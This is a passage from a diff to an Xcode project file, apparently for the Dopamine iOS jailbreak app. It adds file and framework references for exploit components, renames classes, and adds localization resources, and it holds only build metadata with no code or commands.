in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA94C2BDD6C0B008C246F /* port_utils.h */; }; + 8C5FA9612BDD6C0C008C246F /* kernel_base.c in Sources */ = {isa = PBXBuildFile; fileRef = 8C5FA94D2BDD6C0B008C246F /* kernel_base.c */; }; + 8C5FA9622BDD6C0C008C246F /* IOGPU.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA94E2BDD6C0B008C246F /* IOGPU.h */; }; + 8C5FA9632BDD6C0C008C246F /* iokit.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA94F2BDD6C0B008C246F /* iokit.h */; }; + 8C5FA9642BDD6C0C008C246F /* spray.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA9502BDD6C0B008C246F /* spray.h */; }; + 8C5FA9652BDD6C0C008C246F /* exploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 8C5FA9512BDD6C0B008C246F /* exploit.c */; }; + 8C5FA9662BDD6C0C008C246F /* mcast.c in Sources */ = {isa = PBXBuildFile; fileRef = 8C5FA9522BDD6C0C008C246F /* mcast.c */; }; + 8C5FA9672BDD6C0C008C246F /* kernel_rw.c in Sources */ = {isa = PBXBuildFile; fileRef = 8C5FA9532BDD6C0C008C246F /* kernel_rw.c */; }; + 8C5FA9682BDD6C0C008C246F /* IOGPU.c in Sources */ = {isa = PBXBuildFile; fileRef = 8C5FA9542BDD6C0C008C246F /* IOGPU.c */; }; + 8C5FA9692BDD6C0C008C246F /* spray.c in Sources */ = {isa = PBXBuildFile; fileRef = 8C5FA9552BDD6C0C008C246F /* spray.c */; }; + 8C5FA96A2BDD6C0C008C246F /* xpaci.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA9562BDD6C0C008C246F /* xpaci.h */; }; + 8C5FA96B2BDD6C0C008C246F /* kernel_base.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA9572BDD6C0C008C246F /* kernel_base.h */; }; + 8C5FA96C2BDD6C0C008C246F /* kernel_rw.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA9582BDD6C0C008C246F /* kernel_rw.h */; }; + 8C5FA96D2BDD6C0C008C246F /* exploit.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA9592BDD6C0C008C246F /* exploit.h */; }; + 8C5FA96E2BDD7898008C246F /* IOKit.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8C5FA93F2BDD5039008C246F /* IOKit.framework */; }; + 8C5FA96F2BDD789C008C246F /* IOSurface.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8C5FA9412BDD503D008C246F /* IOSurface.framework */; }; + 8C5FA9712BDD81EF008C246F /* LICENSE_weightBufs.md in Resources */ = {isa = PBXBuildFile; fileRef = 8C5FA9702BDD81EF008C246F /* LICENSE_weightBufs.md */; }; + 8C609C9E2C19B4270023DD12 /* NSString+Version.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C609C9C2C19AECF0023DD12 /* NSString+Version.m */; }; + 8C609C9F2C19B6FA0023DD12 /* libkrw-dopamine.deb in Resources */ = {isa = PBXBuildFile; fileRef = 8C609C992C19AC250023DD12 /* libkrw-dopamine.deb */; }; + 8C6599DB2C555A60000FF57F /* DOPSJetsamListItemsController.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C6599DA2C555A60000FF57F /* DOPSJetsamListItemsController.m */; }; + 8C6599DD2C555A71000FF57F /* DOPSJetsamListItemsController.h in Sources */ = {isa = PBXBuildFile; fileRef = 8C6599DC2C555A71000FF57F /* DOPSJetsamListItemsController.h */; }; + 8C71981A2ABF0E82003C6658 /* DOAppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C7198192ABF0E82003C6658 /* DOAppDelegate.m */; }; + 8C71981D2ABF0E82003C6658 /* DOSceneDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C71981C2ABF0E82003C6658 /* DOSceneDelegate.m */; }; 8C7198252ABF0E84003C6658 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 8C7198242ABF0E84003C6658 /* Assets.xcassets */; }; 8C7198282ABF0E84003C6658 /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 8C7198262ABF0E84003C6658 /* LaunchScreen.storyboard */; }; 8C71982B2ABF0E84003C6658 /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C71982A2ABF0E84003C6658 /* main.m */; }; 8C9E46292ACA1CC700B5456A /* UIImage+Blur.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C9E46282ACA1CC700B5456A /* UIImage+Blur.m */; }; - 8CB2E7642AD1788F000A6B90 /* ActionMenuView.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CB2E7632AD1788F000A6B90 /* ActionMenuView.m */; }; 8CB94F042B59E17A0098BAFD /* basebin.tc in Resources */ = {isa = PBXBuildFile; fileRef = 8CB94F022B59E17A0098BAFD /* basebin.tc */; }; 8CB94F052B59E17A0098BAFD /* basebin.tar in Resources */ = {isa = PBXBuildFile; fileRef = 8CB94F032B59E17A0098BAFD /* basebin.tar */; }; + 8CBF1A4A2EC3B71700EB2308 /* UIImage+JPEG2000.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CBF1A492EC3B71700EB2308 /* UIImage+JPEG2000.m */; }; 8CC139822B53DE6C00230143 /* NSData+Hex.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CC139812B53DE6C00230143 /* NSData+Hex.m */; }; 8CC139832B53E05300230143 /* IOKit.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8CDD08372B4F682500A32B61 /* IOKit.framework */; }; + 8CCD2FC42B77AAA000F9C5DA /* basebin-link.deb in Resources */ = {isa = PBXBuildFile; fileRef = 8CCD2FC32B77AA9200F9C5DA /* basebin-link.deb */; }; + 8CCD8A882B6F16D0004B72B0 /* libroot.deb in Resources */ = {isa = PBXBuildFile; fileRef = 8CCD8A832B6F165A004B72B0 /* libroot.deb */; }; 8CDD07AA2B4F619000A32B61 /* kfd.h in Headers */ = {isa = PBXBuildFile; fileRef = 8CDD07A92B4F619000A32B61 /* kfd.h */; settings = {ATTRIBUTES = (Public, ); }; }; 8CDD07AF2B4F619000A32B61 /* kfd.framework in Embed Frameworks */ = {isa = PBXBuildFile; fileRef = 8CDD07A72B4F619000A32B61 /* kfd.framework */; settings = {ATTRIBUTES = (CodeSignOnCopy, RemoveHeadersOnCopy, ); }; }; 8CDD08342B4F63E100A32B61 /* kfd.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CDD07B32B4F639100A32B61 /* kfd.m */; }; 8CDD08362B4F682000A32B61 /* IOSurface.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8CDD08352B4F682000A32B61 /* IOSurface.framework */; }; 8CDD08382B4F682500A32B61 /* IOKit.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8CDD08372B4F682500A32B61 /* IOKit.framework */; }; - 8CDD083F2B4F6D8700A32B61 /* libcurl.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 8CDD08392B4F6D8200A32B61 /* libcurl.a */; }; - 8CDD08402B4F6D8700A32B61 /* libfragmentzip.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 8CDD083A2B4F6D8200A32B61 /* libfragmentzip.a */; }; - 8CDD08412B4F6D8700A32B61 /* libgrabkernel.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 8CDD083B2B4F6D8200A32B61 /* libgrabkernel.a */; }; + 8CDD08412B4F6D8700A32B61 /* libgrabkernel2.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 8CDD083B2B4F6D8200A32B61 /* libgrabkernel2.a */; }; 8CDD08462B4F6DD800A32B61 /* libchoma.dylib in Frameworks */ = {isa = PBXBuildFile; fileRef = 8CDD08432B4F6DD800A32B61 /* libchoma.dylib */; }; 8CDD08472B4F6DD800A32B61 /* libxpf.dylib in Frameworks */ = {isa = PBXBuildFile; fileRef = 8CDD08442B4F6DD800A32B61 /* libxpf.dylib */; }; 8CDD08482B4F6DF100A32B61 /* libxpf.dylib in Embed Libraries */ = {isa = PBXBuildFile; fileRef = 8CDD08442B4F6DD800A32B61 /* libxpf.dylib */; settings = {ATTRIBUTES = (CodeSignOnCopy, ); }; }; @@ -116,6 +218,20 @@ remoteGlobalIDString = 8C2B1FDE2B532374009BA166; remoteInfo = dmaFail; }; + 8C5FA8D82BDD36B6008C246F /* PBXContainerItemProxy */ = { + isa = PBXContainerItemProxy; + containerPortal = 8C71980D2ABF0E82003C6658 /* Project object */; + proxyType = 1; + remoteGlobalIDString = 8C5FA8D32BDD36B6008C246F; + remoteInfo = weightBufs; + }; + 8C5FA8E82BDD36BF008C246F /* PBXContainerItemProxy */ = { + isa = PBXContainerItemProxy; + containerPortal = 8C71980D2ABF0E82003C6658 /* Project object */; + proxyType = 1; + remoteGlobalIDString = 8C5FA8E32BDD36BF008C246F; + remoteInfo = multicast_bytecopy; + }; 8CDD07AB2B4F619000A32B61 /* PBXContainerItemProxy */ = { isa = PBXContainerItemProxy; containerPortal = 8C71980D2ABF0E82003C6658 /* Project object */; @@ -132,7 +248,6 @@ dstPath = ""; dstSubfolderSpec = 6; files = ( - 8C46D7282B58B23D002899DB /* tar.dylib in Embed Libraries */, 8CDD084A2B4F6DF800A32B61 /* libchoma.dylib in Embed Libraries */, 8CDD08492B4F6DF500A32B61 /* libjailbreak.dylib in Embed Libraries */, 8CDD08482B4F6DF100A32B61 /* libxpf.dylib in Embed Libraries */, @@ -143,11 +258,13 @@ 8CDD07AE2B4F619000A32B61 /* Embed Frameworks */ = { isa = PBXCopyFilesBuildPhase; buildActionMask = 2147483647; - dstPath = Exploits; + dstPath = ""; dstSubfolderSpec = 10; files = ( + 8C5FA8DB2BDD36B6008C246F /* weightBufs.framework in Embed Frameworks */, 8CDD07AF2B4F619000A32B61 /* kfd.framework in Embed Frameworks */, 8C2B1FF42B53492B009BA166 /* dmaFail.framework in Embed Frameworks */, + 8C5FA8EB2BDD36BF008C246F /* multicast_bytecopy.framework in Embed Frameworks */, 8C05B0152B631738001A7CF3 /* badRecovery.framework in Embed Frameworks */, ); name = "Embed Frameworks"; @@ -156,8 +273,9 @@ /* End PBXCopyFilesBuildPhase section */ /* Begin PBXFileReference section */ + 040622A82B77FE8E00393AAD /* DOPkgManagerPickerViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = DOPkgManagerPickerViewController.h; sourceTree = ""; }; + 040622A92B77FE8E00393AAD /* DOPkgManagerPickerViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = DOPkgManagerPickerViewController.m; sourceTree = ""; }; 042479682B66916B0082581B /* DOJailbreakButton.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = DOJailbreakButton.h; sourceTree = ""; }; - 0424796A2B66916B0082581B /* Settings.plist */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.xml; path = Settings.plist; sourceTree = ""; }; 0424796B2B66916B0082581B /* DOCreditsViewController.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = DOCreditsViewController.m; sourceTree = ""; }; 0424796C2B66916B0082581B /* DOSettingsController.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = DOSettingsController.m; sourceTree = ""; }; 0424796D2B66916B0082581B /* DOPSListController.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = DOPSListController.h; sourceTree = ""; }; @@ -171,18 +289,17 @@ 042479762B66916B0082581B /* DOCreditsCell.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = DOCreditsCell.h; sourceTree = ""; }; 042479772B66916B0082581B /* DOButtonCell.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = DOButtonCell.m; sourceTree = ""; }; 042479782B66916B0082581B /* DOPSListController.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = DOPSListController.m; sourceTree = ""; }; - 0424797A2B66916B0082581B /* DOModalTransitionPop.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = DOModalTransitionPop.h; sourceTree = ""; }; - 0424797B2B66916B0082581B /* DOModalTransitionPush.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = DOModalTransitionPush.h; sourceTree = ""; }; + 0424797A2B66916B0082581B /* DOModalTransitionPush.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = DOModalTransitionPush.h; sourceTree = ""; }; + 0424797B2B66916B0082581B /* DOModalTransitionScale.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = DOModalTransitionScale.h; sourceTree = ""; }; 0424797C2B66916B0082581B /* DOModalBackAction.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = DOModalBackAction.m; sourceTree = ""; }; - 0424797D2B66916B0082581B /* DOModalTransitionPop.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = DOModalTransitionPop.m; sourceTree = ""; }; - 0424797E2B66916B0082581B /* DOModalTransitionPush.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = DOModalTransitionPush.m; sourceTree = ""; }; + 0424797D2B66916B0082581B /* DOModalTransitionPush.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = DOModalTransitionPush.m; sourceTree = ""; }; + 0424797E2B66916B0082581B /* DOModalTransitionScale.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = DOModalTransitionScale.m; sourceTree = ""; }; 0424797F2B66916B0082581B /* DOModalBackAction.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = DOModalBackAction.h; sourceTree = ""; }; 042479802B66916B0082581B /* DONavigationController.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = DONavigationController.h; sourceTree = ""; }; 042479812B66916B0082581B /* DOUIManager.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = DOUIManager.h; sourceTree = ""; }; 042479822B66916B0082581B /* DOHeaderView.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = DOHeaderView.h; sourceTree = ""; }; - 042479832B66916B0082581B /* GlobalAppearance.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = GlobalAppearance.h; sourceTree = ""; }; + 042479832B66916B0082581B /* DOGlobalAppearance.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = DOGlobalAppearance.h; sourceTree = ""; }; 042479842B66916B0082581B /* DOMainViewController.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = DOMainViewController.h; sourceTree = ""; }; - 042479852B66916B0082581B /* ActionMenuDelegate.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = ActionMenuDelegate.h; sourceTree = ""; }; 042479862B66916B0082581B /* DOJailbreakButton.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = DOJailbreakButton.m; sourceTree = ""; }; 042479872B66916B0082581B /* DOHeaderView.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = DOHeaderView.m; sourceTree = ""; }; 042479882B66916B0082581B /* DOUIManager.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = DOUIManager.m; sourceTree = ""; }; @@ -206,18 +323,69 @@ 0424799D2B66916B0082581B /* DOActionMenuView.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = DOActionMenuView.m; sourceTree = ""; }; 0424799E2B66916B0082581B /* DOActionMenuDelegate.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = DOActionMenuDelegate.h; sourceTree = ""; }; 0424799F2B66916B0082581B /* DOMainViewController.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = DOMainViewController.m; sourceTree = ""; }; - 042479A02B66916B0082581B /* GlobalAppearance.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = GlobalAppearance.m; sourceTree = ""; }; + 042479A02B66916B0082581B /* DOGlobalAppearance.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = DOGlobalAppearance.m; sourceTree = ""; }; 042479E42B66B0DD0082581B /* Preferences.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = Preferences.framework; path = Frameworks/Preferences.framework; sourceTree = ""; }; - 8C029F412B4DFD5D0071DE58 /* ExploitManager.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ExploitManager.h; sourceTree = ""; }; - 8C029F422B4DFD5D0071DE58 /* ExploitManager.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ExploitManager.m; sourceTree = ""; }; - 8C029F442B4DFD910071DE58 /* Bootstrapper.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = Bootstrapper.h; sourceTree = ""; }; - 8C029F452B4DFD910071DE58 /* Bootstrapper.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = Bootstrapper.m; sourceTree = ""; }; - 8C029F4C2B4E1FF30071DE58 /* Exploit.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = Exploit.h; sourceTree = ""; }; - 8C029F4D2B4E1FF30071DE58 /* Exploit.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = Exploit.m; sourceTree = ""; }; - 8C029F5E2B4E25350071DE58 /* EnvironmentManager.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = EnvironmentManager.h; sourceTree = ""; }; - 8C029F5F2B4E25350071DE58 /* EnvironmentManager.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = EnvironmentManager.m; sourceTree = ""; }; - 8C029F612B4E2E140071DE58 /* Jailbreaker.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = Jailbreaker.h; sourceTree = ""; }; - 8C029F622B4E2E140071DE58 /* Jailbreaker.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = Jailbreaker.m; sourceTree = ""; }; + 0443A9AF2B79D9C10014C933 /* DOPSListItemsController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = DOPSListItemsController.m; sourceTree = ""; }; + 0443A9B02B79D9C10014C933 /* DOPSListItemsController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = DOPSListItemsController.h; sourceTree = ""; }; + 049D52042B7E7C1D00389436 /* ar */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = ar; path = ar.lproj/Localizable.strings; sourceTree = ""; }; + 049D52052B7E7C2500389436 /* da */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = da; path = da.lproj/Localizable.strings; sourceTree = ""; }; + 049D52062B7E7C3500389436 /* de */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = de; path = de.lproj/Localizable.strings; sourceTree = ""; }; + 049D52072B7E7C4700389436 /* el */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = el; path = el.lproj/Localizable.strings; sourceTree = ""; }; + 049D52082B7E7C6B00389436 /* fil */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = fil; path = fil.lproj/Localizable.strings; sourceTree = ""; }; + 0A5F1EAF2FBB000000000001 /* hi */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = hi; path = hi.lproj/Localizable.strings; sourceTree = ""; }; + 049D52092B7E7C7600389436 /* it */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = it; path = it.lproj/Localizable.strings; sourceTree = ""; }; + 049D520A2B7E7C8F00389436 /* ja */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = ja; path = ja.lproj/Localizable.strings; sourceTree = ""; }; + 049D520B2B7E7CCA00389436 /* kk */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = kk; path = kk.lproj/Localizable.strings; sourceTree = ""; }; + 049D520C2B7E7CD300389436 /* ko */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = ko; path = ko.lproj/Localizable.strings; sourceTree = ""; }; + 049D520D2B7E7D3500389436 /* nl */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = nl; path = nl.lproj/Localizable.strings; sourceTree = ""; }; + 049D520E2B7E7D3E00389436 /* pl */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = pl; path = pl.lproj/Localizable.strings; sourceTree = ""; }; + 049D520F2B7E7D4700389436 /* pt-BR */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = "pt-BR"; path = "pt-BR.lproj/Localizable.strings"; sourceTree = ""; }; + 049D52102B7E7D4F00389436 /* ru */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = ru; path = ru.lproj/Localizable.strings; sourceTree = ""; }; + 049D52112B7E7D5700389436 /* sv */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = sv; path = sv.lproj/Localizable.strings; sourceTree = ""; }; + 049D52122B7E7D6200389436 /* tr */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = tr; path = tr.lproj/Localizable.strings; sourceTree = ""; }; + 049D52132B7E7D7000389436 /* uk */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = uk; path = uk.lproj/Localizable.strings; sourceTree = ""; }; + 049D52142B7E7D7B00389436 /* ur */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = ur; path = ur.lproj/Localizable.strings; sourceTree = ""; }; + 049D52152B7E7D8200389436 /* vi */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = vi; path = vi.lproj/Localizable.strings; sourceTree = ""; }; + 049D52192B7E7E1600389436 /* zh-HK */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = "zh-HK"; path = "zh-HK.lproj/Localizable.strings"; sourceTree = ""; }; + 049D521C2B7E7EB300389436 /* zh-Hans */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = "zh-Hans"; path = "zh-Hans.lproj/Localizable.strings"; sourceTree = ""; }; + 049D521D2B7E7EDA00389436 /* zh-TW */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = "zh-TW"; path = "zh-TW.lproj/Localizable.strings"; sourceTree = ""; }; + 049D521E2B7E7F1C00389436 /* zh-CN */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = "zh-CN"; path = "zh-CN.lproj/Localizable.strings"; sourceTree = ""; }; + 04C246982B73220400E17924 /* DOUpdateViewController.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = DOUpdateViewController.m; sourceTree = ""; }; + 04C246992B73220400E17924 /* DOUpdateCircleView.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = DOUpdateCircleView.m; sourceTree = ""; }; + 04C2469A2B73220400E17924 /* DOUpdateCircleView.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = DOUpdateCircleView.h; sourceTree = ""; }; + 04C2469B2B73220400E17924 /* DOUpdateViewController.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = DOUpdateViewController.h; sourceTree = ""; }; + 04C2469F2B73225800E17924 /* DODownloadViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = DODownloadViewController.h; sourceTree = ""; }; + 04C246A02B73225800E17924 /* DODownloadViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = DODownloadViewController.m; sourceTree = ""; }; + 04C246AC2B74ACA200E17924 /* DOAppSwitch.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = DOAppSwitch.h; sourceTree = ""; }; + 04C246AD2B74ACA200E17924 /* DOAppSwitch.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = DOAppSwitch.m; sourceTree = ""; }; + 04C246AF2B74B05800E17924 /* DOPkgManagerPickerView.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = DOPkgManagerPickerView.h; sourceTree = ""; }; + 04C246B02B74B05800E17924 /* DOPkgManagerPickerView.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = DOPkgManagerPickerView.m; sourceTree = ""; }; + 04C246B22B74B65900E17924 /* PkgManagers.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = PkgManagers.plist; sourceTree = ""; }; + 04DD0B332B7BA38C0055DE4F /* DOLicenseViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = DOLicenseViewController.h; sourceTree = ""; }; + 04DD0B342B7BA38C0055DE4F /* DOLicenseViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = DOLicenseViewController.m; sourceTree = ""; }; + 04DD0B362B7BA6180055DE4F /* LICENSE.md */ = {isa = PBXFileReference; lastKnownFileType = net.daringfireball.markdown; path = LICENSE.md; sourceTree = ""; }; + 04DD0B392B7BF3E80055DE4F /* LICENSE_libc.md */ = {isa = PBXFileReference; lastKnownFileType = net.daringfireball.markdown; path = LICENSE_libc.md; sourceTree = ""; }; + 04DD0B3B2B7C88210055DE4F /* DOLogCrashViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = DOLogCrashViewController.h; sourceTree = ""; }; + 04DD0B3C2B7C88210055DE4F /* DOLogCrashViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = DOLogCrashViewController.m; sourceTree = ""; }; + 04DD0B3F2B7CBD3D0055DE4F /* Themes.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Themes.plist; sourceTree = ""; }; + 04DD0B422B7CBE2E0055DE4F /* DOThemeManager.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = DOThemeManager.h; sourceTree = ""; }; + 04DD0B432B7CBE2E0055DE4F /* DOThemeManager.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = DOThemeManager.m; sourceTree = ""; }; + 04DD0B452B7CBEEA0055DE4F /* DOTheme.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = DOTheme.h; sourceTree = ""; }; + 04DD0B462B7CBEEA0055DE4F /* DOTheme.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = DOTheme.m; sourceTree = ""; }; + 04DD0B5A2B7D19E60055DE4F /* en */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = en; path = en.lproj/Localizable.strings; sourceTree = ""; }; + 04DD0B5C2B7D1A210055DE4F /* fr */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = fr; path = fr.lproj/Localizable.strings; sourceTree = ""; }; + 04DD0B5D2B7D1A210055DE4F /* es */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = es; path = es.lproj/Localizable.strings; sourceTree = ""; }; + 51AB98D92BBF44390042EA7B /* libpartial.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libpartial.a; path = Dopamine/Dependencies/libpartial.a; sourceTree = ""; }; + 8C029F412B4DFD5D0071DE58 /* DOExploitManager.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = DOExploitManager.h; sourceTree = ""; }; + 8C029F422B4DFD5D0071DE58 /* DOExploitManager.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = DOExploitManager.m; sourceTree = ""; }; + 8C029F442B4DFD910071DE58 /* DOBootstrapper.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = DOBootstrapper.h; sourceTree = ""; }; + 8C029F452B4DFD910071DE58 /* DOBootstrapper.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = DOBootstrapper.m; sourceTree = ""; }; + 8C029F4C2B4E1FF30071DE58 /* DOExploit.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = DOExploit.h; sourceTree = ""; }; + 8C029F4D2B4E1FF30071DE58 /* DOExploit.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = DOExploit.m; sourceTree = ""; }; + 8C029F5E2B4E25350071DE58 /* DOEnvironmentManager.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = DOEnvironmentManager.h; sourceTree = ""; }; + 8C029F5F2B4E25350071DE58 /* DOEnvironmentManager.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = DOEnvironmentManager.m; sourceTree = ""; }; + 8C029F612B4E2E140071DE58 /* DOJailbreaker.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = DOJailbreaker.h; sourceTree = ""; }; + 8C029F622B4E2E140071DE58 /* DOJailbreaker.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = DOJailbreaker.m; sourceTree = ""; }; 8C029F652B4E2E7D0071DE58 /* libcompression.tbd */ = {isa = PBXFileReference; lastKnownFileType = 